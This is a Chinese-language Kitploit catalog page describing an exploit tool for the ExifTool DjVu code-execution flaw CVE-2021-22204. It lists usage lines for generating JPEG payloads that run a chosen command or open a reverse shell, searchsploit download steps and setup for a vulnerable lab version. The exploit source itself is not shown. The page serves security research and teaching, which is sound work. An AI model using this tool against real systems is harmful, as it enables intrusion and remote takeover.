Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
exploit-CVE-2021-22204 — CVE-2021-22204 (ExifTool) 漏洞利用 - 任意代码执行 | Kitploit
工具/GitHubGitHub/unicordev/exploit-cve-2021-22204
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubunicordev/exploit-cve-2021-22204

exploit-CVE-2021-22204

CVE-2021-22204 (ExifTool) 漏洞利用 - 任意代码执行

查看仓库
5361年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

CVE-2021-22204 (ExifTool) 漏洞利用 - 任意代码执行

GitHub CVE Cover

喜欢这个仓库?给我们点个 ⭐ 吧!

仅用于教育和授权安全研究目的。

漏洞利用作者

@UNICORDev 由 (@NicPWNs 和 @Dev-Yeoj) 创作

漏洞描述

ExifTool 7.44 及以上版本在解析恶意图像时,对 DjVu 文件格式中的用户数据中和不当,允许执行任意代码。

利用描述

使用此漏洞利用程序生成 JPEG 图像载荷,与存在漏洞的 ExifTool 版本配合即可执行代码。你可以提供自定义命令,也可以生成反向 Shell。工具会自动生成 JPEG 图像;也可选择提供自定义 JPEG 图像,以便将载荷插入其中。

用法

root@kitploit:~
  python3 exploit-CVE-2021-22204.py -c <command>
  python3 exploit-CVE-2021-22204.py -s <local-IP> <local-port>
  python3 exploit-CVE-2021-22204.py -c <command> [-i <image.jpg>]
  python3 exploit-CVE-2021-22204.py -s <local-IP> <local-port> [-i <image.jpg>]
  python3 exploit-CVE-2021-22204.py -h

选项

root@kitploit:~
  -c    Custom command mode. Provide command to execute.
  -s    Reverse shell mode. Provide local IP and port.
  -i    Path to custom JPEG image. (Optional)
  -h    Show this help menu.

下载

从 GitHub 下载 exploit-CVE-2021-22204.py

从 ExploitDB 下载 exploit-CVE-2021-22204.py

Searchsploit (ExploitDB)

root@kitploit:~
searchsploit -u
searchsploit -m 50911

利用要求

  • python3
  • djvulibre-bin
  • exiftool

演示

Demo Gif

测试版本

Exiftool 版本 12.23

适用版本

Exiftool 版本 7.44 - 12.23

漏洞环境

root@kitploit:~
wget https://github.com/exiftool/exiftool/archive/refs/tags/12.23.zip
unzip exiftool-12.23.zip
cd exiftool-12.23
perl Makefile.PL
make test
sudo make install
exiftool -ver

测试生成的载荷

root@kitploit:~
exiftool image.jpg

致谢

  • https://hackerone.com/reports/1154542
  • https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204-exiftool-rce/
  • https://nvd.nist.gov/vuln/detail/CVE-2021-22204
  • https://app.hackthebox.com/machines/Overflow
  • https://www.exploit-db.com/exploits/50911
下载工具